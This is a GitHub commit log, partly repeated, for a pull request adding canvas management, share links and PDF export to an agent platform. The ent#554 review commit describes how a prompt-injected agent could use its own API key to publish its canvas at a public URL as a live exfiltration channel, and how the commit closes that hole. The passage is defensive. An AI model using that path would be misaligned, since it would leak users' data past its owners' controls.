live code reads it, not where the test imports it Two ent#553 tests passed in isolation and failed in a full-suite run: `test_the_cap_refuses_a_new_canvas_by_name` and `test_deleting_the_default_canvas_frees_a_slot_against_the_cap`. Order-dependence, not a defect in the feature. They patched `db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier test in the suite evicts that module from `sys.modules`, so the fresh import hands back a NEW module object while the live `db._canvas_ops` is still an instance of the OLD class — whose `upsert_canvas` reads the OLD module's globals. The patch lands somewhere nothing consults, the cap stays at its default of 100, and the "refuses the 4th of 3" assertions fail. `_set_cap` patches the bound method's own `__globals__`, which is whichever module dict the running code actually closes over — correct whether or not an eviction happened, so it does not depend on knowing which test pollutes. Same failure and same fix as #2589, where the identical shape bit `mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a module attribute is only as good as the assumption that the live object came from that module object, and in a suite that evicts modules that assumption is not free. The feature is unchanged — this touches only the test file. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): print the canvas, not the whole page Reported from hands-on testing: pressing PDF offered to export the entire page. Correct report — the print stylesheet only STYLED the document and never hid anything else, so `window.print()` printed the nav bar, the tabs, the on-screen panel AND the print copy. That is not "one clean column" by any reading (AC #4), and it is the first thing anyone pressing the button hits. Two halves, both required: * a print rule that hides every `body` child except `.canvas-print-root`; * the print copy TELEPORTED to <body>, so it is a body child and the rule can spare it. Nested inside the app the rule would hide its ancestor and print nothing at all — worse than the bug. `body > *` rather than a class on the app root: it needs no knowledge of how the app is mounted and works identically on the standalone shared page, which keeps AC #7's "identical from every surface" true rather than approximately true. The copy is rendered only while printing (`v-if="printing"` + a `nextTick` flush before `print()`, since printing a not-yet-rendered teleport yields a blank sheet), so the DOM carries no permanent hidden duplicate. `canvasPrintIsolation.spec.js` pins all three structural facts. Nothing automated can inspect a print preview, which is exactly why the bug shipped — so the guard asserts the mechanism instead: the hiding rule exists, the root is teleported to body, and the document mounts before print() is called. Mutation-tested: removing the hiding rule fails it. Also fixes a design-system violation the ratchet caught in the same file: `SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now `viewState()` — loading means "no data yet", never "a fetch is in flight" (#1927, design-system p13-p15). The page fetches once today, so this is the rule holding rather than a bug fixed; it stays correct if a refresh is added. Baselining my own new violation was the alternative and would have been the wrong one. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): re-parent the pinned revision, and make the canvas cap reachable Two review items from #2619. **Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared `down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has since landed on `dev` — two heads, and `alembic upgrade head` resolves its single target before applying anything, so EVERY revision merged since the fork stops arriving, not just one. Re-parented onto `0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps being a usable ordering cue; the id is not applied anywhere yet, so the rename costs nothing. `check_alembic_heads.py` reports 1 head. **`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names the number, but the variable was read only from `os.getenv` in `models.py` and appeared in no compose file — so an operator following the refusal's own advice would raise a lever that never reaches the container. Wired into `docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch standalone, no base merge / no `env_file`) plus `.env.example`. Related to #2619 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553 The raw-colour ratchet became enforceable on dev while this branch was open (#2605/#2609), and the merge brings it here: this PR's delete/pin/ search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46 `raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend build. That growth is the honest kind. The design-system contract SPELLS the neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders gray-200/300/700/800, ink gray-300/400/500/600 — and there is no semantic token for a neutral, which is exactly why the spec's own comment says gray is ratcheted but never held to zero for new files. The rule it does hold new code to is `raw_nongray`, and this file stays at **0**. Re-frozen in its OWN commit with the increase named in the baseline's `refrozen` block, which is what the ratchet's error message asks for — not absorbed silently into the feature diff. The entry is hand-edited rather than regenerated so #2605's provenance block survives; no other file's ceiling moves (verified: nothing grew, nothing is stale, no un-baselined file carries `raw_nongray`). Related to #553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553) Three review findings, all in the same direction — the backend was right and the user-facing half did not arrive — plus the two smaller ones. 1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)` nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and the early warning could not render at any count. The ceiling rides `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established home for a value the browser needs to render a surface, and where `platform_default_model` / `install_source` already set the precedent for a non-boolean. Not a new route (Invariant #13 would owe three surfaces for one integer) and not an envelope around the canvas list (the MCP tool and the Workspace both read it as a bare array). It is a CONSTANT, not per-agent state, and the client already holds the count. `0` still means "not told" and still renders nothing, so an older backend is unchanged. 2. **The Workspace canvas writes are audited.** The three portal routes recorded nothing while their operator twins have logged since they shipped, and `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so the claim was false for exactly the client-facing surface. `_audit_canvas_change` is the shared helper; the actor is `actor_email` (the documented #848 inline-auth path) rather than a fabricated `User`, which is honest because `_require_canvas_manager` is platform-only and owner-or-admin, so a real Trinity user is always behind it. Ids and counts only (G-04). The three routes become `async def` to await it, matching their operator twins, which already call the same sync db functions from an async handler. Pinning is audited too, on BOTH surfaces — the operator route was the one recording nothing. A pin decides which canvas an entire roster sees first, so it is an administrative act on a shared surface, not a per-viewer preference. 3. **`canManage` comes from the parent.** It was hardcoded `true` on the argument that the server decides. It does — but a merely-shared user was then shown Manage → Delete / Pin and got a 403, which is the failing-control problem `can_manage_canvases` exists to prevent on the Workspace. Agent Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines above already reads and the same one `_gate_human_removal` enforces. The prop defaults FALSE, so a caller that forgets it hides an affordance rather than offering one that refuses. 4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the same owner read `true` in the sidebar and `false` on the agent's own page — the disagreement #2160's own docstring says that function exists to prevent. 5. **An agent genuinely cannot pin its own canvas now.** The user doc said so; `_gate_human_removal` allowed it (right for delete — an agent tidying up after itself — and wrong for pin), and "no MCP tool exposes it" is a property of the client, not of the route. `_gate_pin` is humans-only, which makes the documented sentence true rather than aspirational. Tests: the audit guard now walks the portal routes as well as `routers.canvas` (it only ever inspected the latter, which is why three unaudited routes passed it), plus pin-audit parity, the humans-only pin gate beside the still-permitted agent self-delete, the feature-flags constant being the same object the refusal is raised from, the agent-card/roster agreement, and four frontend wiring cases. 1025 backend / 2538 frontend tests green. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(canvas): the Workspace audit names the operator, not the platform (ent#553) Found re-reviewing my own audit fix. Adding the rows was right; the attribution was wrong, and a row that lands under the wrong actor is worse than the missing row it replaced — nothing fails, so the wrong answer is believed. `_audit_canvas_change` passed `actor_email` only. But `platform_audit_service._resolve_actor` derives `actor_type` from `actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from the email, so an email-only call falls through to its last branch: _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None) So every Workspace canvas delete and pin was recorded as `actor_type="system"`, `actor_id="trinity-system"` — a named operator's action attributed to the platform, invisible to any `actor_type=user` query and to the audit UI's per-actor filter. Verified against the real resolver, not by reading the call. The `actor_email`-only path I cited (#848 inline auth) is right where the caller genuinely has no `users` row. That is not this route: `_require_canvas_manager` is platform-only and resolves through `db.can_user_share_agent`, so a row exists by construction. It now resolves that row and passes `actor_user`, producing the same `("user", <id>, <email>)` shape the operator twin has always written — which is the point, since auditing the two surfaces differently buys little more than auditing one of them. Best-effort by construction: the action has already happened, so a lookup that raises or misses must not drop the row. It falls back to the email-only call with a WARNING, since a miss would mean the gate admitted someone the user table does not know. Tests: the regression is pinned against the REAL `_resolve_actor` (both the shape the fix must not return to and the shape it produces now), plus a source guard that the helper resolves a row, passes `actor_user`, keeps the email as a fallback and cannot raise. Removing `actor_user=` reds it. 31 passed on the ent#553 file; 953 across canvas / portal / audit. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(migrations): chain 0060_agent_canvas_shares off the renamed pinned revision ent#553 renamed its revision 0058_agent_canvases_pinned -> 0059 when it absorbed dev's 0058_portal_file_dismissals; this revision still pointed at the old id, so after the merge the directory resolved to two heads and `alembic upgrade head` would have applied nothing. Renumbered to 0060 as well so the numeric prefix stays a unique ordering cue. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * chore(frontend): re-freeze CanvasPanel.vue raw_gray 46 -> 62 for ent#554 The share/PDF controls add gray chrome copied from the panel's existing header; the branch predates the #2605 ratchet, so the guard first bit when dev was merged in. Scoped to this one entry, in its own commit, as the guard's own message prescribes. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * test(canvas): resolve CanvasLimitExceeded from the live method's globals The two cap tests imported the class from `db.canvas` while `_set_cap` already patches the cap through `upsert_canvas.__globals__` — because an earlier test can evict and re-import the module. The same eviction gives the test a different class object than the one the live code raises, and `pytest.raises` then reports the correct refusal as an unexpected exception. Seen once in a full local run after the dev merge (both tests pass in isolation and under CI's three seeds); resolve the class from the same globals the cap comes from. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review) `CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`, where `visible` is the FILTERED list. Searching down to exactly one canvas hid the strip while the previously selected canvas stayed on screen, and the auto-select watcher — keyed off the unfiltered `props.canvases` — never selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip false, no-match message false. The one canvas the user just searched for was unreachable. Fix: - `canvasSelectorVisible({visible, manage, query})` — with a query, any hit shows the strip; without one, a single canvas is no choice (unchanged). - `canvasAutoSelect(visible, selectedId, query)` — while a query is active the selection follows the matches; no-op with no query or when the current selection already matches. - `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on `[visible, query]`. Tests: - `canvasUtils.spec.js`: the two pure rules. - `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out of the SFC and RUNS it against the ejection's numbers; pins that the template reads the computed, not a re-derived length test, and that the watcher calls `canvasAutoSelect`. - `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent cap reaches the wire as a 409 through the real router → service → db chain (only the Redis rate limiter stubbed), names the remedy, and the same PUT against an existing id stays an update. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): the search box outlives a shrink below the threshold (ent#553 review) `query` has exactly one writer — the search input's `v-model` — and that input was `v-if="showSearch"` with `showSearch = ordered.length > 6`. Seven canvases, type "Topic 3", delete the one match: six canvases, the box unmounts, `visible` still filters on the stale query, the strip collapses, and the panel says *No canvas matches "Topic 3"* with no control left to clear it. Every remaining canvas is unreachable via the chips until navigation. Also reachable with no operator action: the agent's own `clear_canvas` plus a rail refresh while a query is typed. The rule is pure — `canvasSearchVisible(count, threshold, query)` — and keeps the box while a query is active regardless of the count: the typed intent survives the shrink, and the no-match line keeps the one control that clears it. Resetting `query` when the box would flip off was the other option and was rejected: it erases a search the user was mid-way through because a sibling canvas went away. The gate spec that pinned the previous ejection drove `visible`/`query` in isolation from `showSearch`, which is why it could not see this one. It now slices the real `showSearch` computed out of the SFC and RUNS it against the ejection's own numbers (7 → 6 with "Topic 3" typed → box stays; 6 with no query → box gone), and pins that the input is gated on that computed and is the sole writer of `query`. Mutation-checked: reverting the gate to the old length test reds three cases. Four mechanical items from the same review ride along: - requirements/core-agent.md: the ent#438 "deliberately no retention window: bounded by construction" line now says why that reasoning was wrong (rows are bounded per canvas, the count was not) and what bounds it instead; FR-18..FR-22 record delete / bulk / cap / pin / search, which had no requirements entries at all. - raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's 25 → 46 raw_gray was added in 2794388 and dropped by the dev merge aa248f7; re-added so the growth is named in the file. - routers/canvas.py `# mcp:` header now says pin and bulk-delete are unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten signal. - feature-flows/agent-canvas.md: the two search-state rules and the defect class they close. Verified: vitest 2696 passed (121 files); canvas backend suites 101 passed; raw-colour ratchet and loading-gate ratchet unchanged. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong * fix(canvas): a share link is a grant, so only a human may mint one (ent#554 review) `create_canvas_share`'s docstring said "Owner-or-admin and human-only via `_gate_human_removal`". That gate is not human-only — its own docstring, one screen above, says an agent-scoped key may act on its own agent, which is correct for `clear_canvas` ("an agent tidying up after itself") and wrong for every verb that decides what someone OTHER than the agent may see. So a prompt-injected agent could POST /api/agents/<self>/canvas/<id>/share {"scope": "public"} with the TRINITY_MCP_API_KEY already in its container and publish its own canvas at an unauthenticated URL. Three things make that worse than it first reads: * the share is LIVE, not a snapshot, so one link is a self-updating channel rather than a one-time disclosure; * the agent is the only writer of canvas blocks, so anything it can read it can copy into a canvas and publish; * `audience` is not consulted on the share path, so ent#438's fail-closed "a canvas reaches a client only because the agent said so" would not have applied — the agent would have been choosing for itself. `list_canvas_shares` had the same gate and returns the TOKEN, which is the capability itself; `revoke_canvas_share` too, so an agent could also turn off a person's link. The fix is the grant-vs-use line (Invariant #8): the endpoint that USES a capability may be agent-callable, the one that GRANTS one is human-only. * `_gate_human_only(current_user, name, *, agent_detail)` is factored out of `_gate_pin` — the predicate was always right, only its NAME described one caller. A gate named for a verb ("removal") is one a fourth caller reaches past by accident; a gate named for its rule is not. `_gate_pin` and the new `_gate_share` both delegate to it, with per-caller refusal text because an agent reads that message to decide what to do next. * The three share routes now call `_gate_share`. * The delete routes deliberately KEEP `_gate_human_removal`, and a test guards that boundary in the other direction — the first attempt at this fix swept `clear_canvas` into the human-only gate, because one `str.replace` matched both bodies. That would have broken a real MCP tool for every agent: a security fix breeding the next bug, the /review §4.14 class. Six regression tests; four of them fail against the previous commit (the other two are the over-correction guards, which must pass both ways by design). The 23 tests already here covered scope defaults, expiry, revocation and enumeration, but none used an agent principal on any share route — which is how this shipped. Docs: the user doc now states that sharing is the owner's alone and that the routes refuse an agent's own key, beside the same sentence for pin; the flow doc records the decision, the blast radius, and why the delete routes stay permissive. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(canvas): record the share routes in the file's own mcp: convention (ent#554 review) The header comment lists which canvas routes are deliberately NOT exposed as MCP tools and why. ent#554 added three that qualify — minting, listing and revoking a share link — and the list did not grow with them. Worth more than a comment here: the ent#553 entry states the rule the share routes then failed to follow ("no tool exposes it" is a property of the client), so a reader consulting this header to decide a fourth route's gate would have found the reasoning but not the precedent. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(learnings): a gate named after a verb gets reached for by the wrong route (ent#554 review) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: Eugene Vyborov <eugene@ability.ai>
vybe
added a commit
that referenced
this pull request
Sep 14, 2026
#2628) * feat(canvas): delete, pin, search and a stated bound for the canvas pile An agent that uses its canvas the way ent#438 intends accumulates dozens: one per report, per topic, per run. The Workspace could only ever ADD to that pile — the client-portal surface had no delete at all, the only ordering was "newest updated", and nothing bounded the table. Two decisions, both by operator ruling 2026-09-08, recorded because each had a plausible alternative: **Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner deletes the shared artifact. This NARROWS the platform DELETE route, which accepted any user with agent access; safe because no UI called it, so no workflow depended on the wider gate. A canvas is one shared surface with no per-user copy, so a non-owner has no "hide it from my list" middle ground: per AC #2 they see no control at all rather than one that 403s. Agents keep clearing their own (`clear_canvas`, the #918 self-gate). **The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no retention window" because the composite key bounds rows per canvas — but `canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed, not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside `upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it is not a check-then-act race. Updating an existing canvas is NEVER refused — a cap that froze updates would punish exactly the agent that reuses ids — and the refusal is a named 409 telling the agent to retire one, never an eviction: deleting a person's surfaces on a timer is the #1638 failure direction. Both surfaces resolve permission through `db.can_user_share_agent`, the same predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot disagree about who owns an agent. The Workspace learns it from `PortalAgentCard.can_manage_canvases` — the portal's only capability channel (#2128), since a portal principal cannot read `/api/settings/feature-flags` — and it fails closed. `pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT 0, no backfill) is written only by the human pin route and is deliberately absent from every agent-facing tool: `audience` is the agent's decision about who may read, `pinned` is the reader's about what they see first, and an agent that could pin itself to the top would defeat the ordering. A pin survives the agent rewriting the canvas. Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering layer, per ent#475): search once the list passes six, a height-bounded strip so a long list does not cost the rail its other tabs, and a Manage mode giving each row its age, stale mark, pin and delete. Decidable rules are pure in `canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so a rule inside the SFC is one no test can reach. Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are permitted-but-unreliable and this one is not optional), declared above the parameterized routes on both routers (Invariant #4), and it reports the ids that EXISTED rather than the ids requested so "3 of 5 removed" is sayable. Three pre-existing guards failed and each was right to: `empty_canvas` was missing the new field (a real bug in this change, fixed), the self-gate guard needed to learn the new gate's name, and the positional-read guard needed its synthetic row extended — that one exists precisely because `_row_to_summary` reads by index. Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and survival, bulk scoping, the permission matrix on both surfaces, route ordering, dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest cases for the pure rules. Verified against a real database: the cap refuses the 4th of 3, updates still succeed at the cap, a pin outranks recency and survives a rewrite, and bulk delete returns only the ids that existed. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): audit the single delete, cover the default canvas, document the lifecycle Closes the three acceptance criteria the first commit left open: * AC #1 asked for the deletion to be audited and only the BULK route was — the single-canvas route is the one a person actually clicks. Logged only when something was removed, since the route is idempotent and a repeat click would otherwise fill the trail with events where nothing happened. * AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the next write, and frees a slot against the cap. `main` is the id both the MCP tools and the voice panel fall back to, so it is the one most likely to be deleted by accident and the one whose deletion must strand nobody. * AC #9: the user doc gains a "Removing canvases" section stating the permission rule, the cap, and that nothing is ever deleted to make room. Also records a latent pre-existing mismatch found while testing: `empty_canvas` returns None timestamps while `models.Canvas` requires strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only caller declares no `response_model` — but adding one there would turn the voice teardown poll into a 500. Left as a comment where the next person to reach for that will meet it, rather than fixed out of scope. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): share a canvas at a link, and download it as a PDF A canvas is where an agent's real output lives, and until now it could not leave the Workspace: no share link, no export, nothing in the tree that renders a PDF. **Sharing never widens the audience by accident.** Two scopes, and the default is the narrow one: `authorized` makes the link a DEEP link — opening it requires signing in and the server re-checks `can_user_access_agent`, so it reaches "the people who could already see it" and nobody else. `public` is an explicit, separate, audited choice. Failing narrow is enforced in five independent places (column default, Pydantic default, `normalize_scope`'s fallback, the order of `SHARE_SCOPES`, the radio the dialog preselects), because a link that reaches further than the sharer understood is the one failure this feature must not have. **`agent_canvas_shares` is deliberately its own table.** `agent_public_links` has a `type` column that looks purpose-built for this, and reusing it would have been a real vulnerability: nothing in that table's read path filters on type — `get_public_link_by_token`, `is_link_valid` and `routers/public.py::_validate_public_link` all resolve a token whatever it is — so a canvas row there would ALSO be a working public-CHAT token, and anyone sent a canvas could talk to the agent. (`type='site'` is the same trap already laid; it is unexploited only because nothing creates those rows today.) A separate table makes the isolation structural instead of dependent on every consumer remembering to check. **Live, and it says so** (AC #3, operator ruling): the link renders the canvas as it is now, carrying its `updated_at` and stale mark, and the page states it is not a copy taken at share time. That follows ent#438's model — a canvas is a surface an agent keeps current — and means a share stores nothing. The cost is drift after sharing; the mitigation is revocation, not freezing. **Revocation keeps the row.** `revoked_at` is stamped, never deleted, because a revoked link has to be able to SAY it was revoked (AC #2), which it cannot do once the row is gone. The status vocabulary splits along disclosure: `revoked` and `expired` are returned only for a token that MATCHED a row — whoever holds such a link was already told the canvas exists — while an unknown token and a canvas deleted out from under a link both collapse into one `not_found`, so a stranger guessing tokens learns nothing from the difference. An unparseable `expires_at` reads as expired: a lifetime we cannot read is one we cannot promise is live. **PDF is print-first**, the path the issue recommended: a print stylesheet plus the browser's own PDF. No headless service to run, and — the deciding reason — no second renderer to keep in step with `CanvasBlock`. A server-side renderer was the stated fallback and was not needed: pagination (`break-inside: avoid` per block) and fidelity both fall out of the same markup the screen uses. `CanvasDocument.vue` is the one printable form, rendered by both the shared page and every authenticated surface, so AC #7's "identical from every canvas surface" is true by construction rather than by three surfaces agreeing. It carries title, agent and generation date, forces the light rendering under `@media print`, and when `window.print` is unavailable the control says so and the share link still works. `ent#425` (hosted deliverable pages) is still open, so per this issue's own boundary rule this ships the narrower share link and #425 adopts it later. Verified against a real database, not stubs: the full resolution matrix (public/anonymous → ok, authorized/anonymous → sign-in, authorized/owner → ok, authorized/stranger → refused, unknown → not-found, revoked, expired, unparseable expiry → expired, canvas deleted → not-found), views counted only on a successful render, cross-agent revoke refused, and a second revoke keeping the first revocation time. 23 backend tests, 20 vitest cases for the pure rules. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * test(canvas): patch the cap where the live code reads it, not where the test imports it Two ent#553 tests passed in isolation and failed in a full-suite run: `test_the_cap_refuses_a_new_canvas_by_name` and `test_deleting_the_default_canvas_frees_a_slot_against_the_cap`. Order-dependence, not a defect in the feature. They patched `db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier test in the suite evicts that module from `sys.modules`, so the fresh import hands back a NEW module object while the live `db._canvas_ops` is still an instance of the OLD class — whose `upsert_canvas` reads the OLD module's globals. The patch lands somewhere nothing consults, the cap stays at its default of 100, and the "refuses the 4th of 3" assertions fail. `_set_cap` patches the bound method's own `__globals__`, which is whichever module dict the running code actually closes over — correct whether or not an eviction happened, so it does not depend on knowing which test pollutes. Same failure and same fix as #2589, where the identical shape bit `mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a module attribute is only as good as the assumption that the live object came from that module object, and in a suite that evicts modules that assumption is not free. The feature is unchanged — this touches only the test file. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): print the canvas, not the whole page Reported from hands-on testing: pressing PDF offered to export the entire page. Correct report — the print stylesheet only STYLED the document and never hid anything else, so `window.print()` printed the nav bar, the tabs, the on-screen panel AND the print copy. That is not "one clean column" by any reading (AC #4), and it is the first thing anyone pressing the button hits. Two halves, both required: * a print rule that hides every `body` child except `.canvas-print-root`; * the print copy TELEPORTED to <body>, so it is a body child and the rule can spare it. Nested inside the app the rule would hide its ancestor and print nothing at all — worse than the bug. `body > *` rather than a class on the app root: it needs no knowledge of how the app is mounted and works identically on the standalone shared page, which keeps AC #7's "identical from every surface" true rather than approximately true. The copy is rendered only while printing (`v-if="printing"` + a `nextTick` flush before `print()`, since printing a not-yet-rendered teleport yields a blank sheet), so the DOM carries no permanent hidden duplicate. `canvasPrintIsolation.spec.js` pins all three structural facts. Nothing automated can inspect a print preview, which is exactly why the bug shipped — so the guard asserts the mechanism instead: the hiding rule exists, the root is teleported to body, and the document mounts before print() is called. Mutation-tested: removing the hiding rule fails it. Also fixes a design-system violation the ratchet caught in the same file: `SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now `viewState()` — loading means "no data yet", never "a fetch is in flight" (#1927, design-system p13-p15). The page fetches once today, so this is the rule holding rather than a bug fixed; it stays correct if a refresh is added. Baselining my own new violation was the alternative and would have been the wrong one. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): the open canvas is shared context for the turn When a user with a canvas on screen says "add a column to this", the agent now knows which canvas they mean. Before this the turn carried the message and nothing about the surface around it, so the agent asked, guessed, or minted a new canvas beside the one being looked at. The mechanism is a per-turn context field — `schedule_executions.open_canvas_id`, the same shape as the `source_channel*` columns beside it — stamped at dispatch and read back by the tools and the prompt. It is CONTEXT, never AUTHORITY, and two independent halves keep it there: - `validated_open_canvas` decides what may be STAMPED. The id is client-supplied, so it is checked against the agent's own canvases and against what that caller can see: an operator-only canvas is invisible to an external client (otherwise the field is an existence oracle for canvases the agent keeps privately), and another agent's canvas is refused outright. Every failure degrades to "nothing open" — never an error, never a wider reach. - `effective_canvas_id` decides what a tool ACTS on, and cannot widen anything: every read and write still passes the existing ownership and audience gates. Precedence is stated once so all three tools agree: `explicit canvas_id > the canvas the user has open > the default canvas`. It returns WHY as well as WHICH, because with nothing named the agent has to be able to say which canvas it wrote to — "I updated the canvas" is not good enough when there are eight and the user is looking at one. Both delivery paths are needed, not one. The MCP tools resolve a missing `canvas_id` through `GET /api/agents/{name}/canvas/context` (declared above `/{canvas_id}` — Invariant #4, since "context" is a valid id shape), AND the turn prompt names the open canvas: a tool default handles a call that omits an id, but an agent must READ a canvas before editing it and cannot read what it cannot name. The prompt line rides the same prefix as the file manifest, so it is present on a resumed turn too — the open canvas changes between turns while the session's memory of it does not. A canvas deleted mid-conversation resolves to nothing, re-checked at read time rather than trusted from the stamp: ent#553 made deleting one click, and a surviving id would have the agent's next write CREATE a canvas under it, silently resurrecting something a person deleted. Voice inherits this by construction — ent#440 submits a spoken utterance through the same `deliver()` a typed one takes. The `canvas` tools in `gemini_voice.py` are deliberately untouched: that is VOICE-001's ephemeral display panel, a different surface with no persisted id. Dual-track migration (`execution_open_canvas` + Alembic `0060`); the column is nullable, so every existing row and every un-updated caller reads as "nothing open". Related to Abilityai/trinity-enterprise#555 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): re-parent the pinned revision, and make the canvas cap reachable Two review items from #2619. **Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared `down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has since landed on `dev` — two heads, and `alembic upgrade head` resolves its single target before applying anything, so EVERY revision merged since the fork stops arriving, not just one. Re-parented onto `0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps being a usable ordering cue; the id is not applied anywhere yet, so the rename costs nothing. `check_alembic_heads.py` reports 1 head. **`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names the number, but the variable was read only from `os.getenv` in `models.py` and appeared in no compose file — so an operator following the refusal's own advice would raise a lever that never reaches the container. Wired into `docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch standalone, no base merge / no `env_file`) plus `.env.example`. Related to #2619 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553 The raw-colour ratchet became enforceable on dev while this branch was open (#2605/#2609), and the merge brings it here: this PR's delete/pin/ search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46 `raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend build. That growth is the honest kind. The design-system contract SPELLS the neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders gray-200/300/700/800, ink gray-300/400/500/600 — and there is no semantic token for a neutral, which is exactly why the spec's own comment says gray is ratcheted but never held to zero for new files. The rule it does hold new code to is `raw_nongray`, and this file stays at **0**. Re-frozen in its OWN commit with the increase named in the baseline's 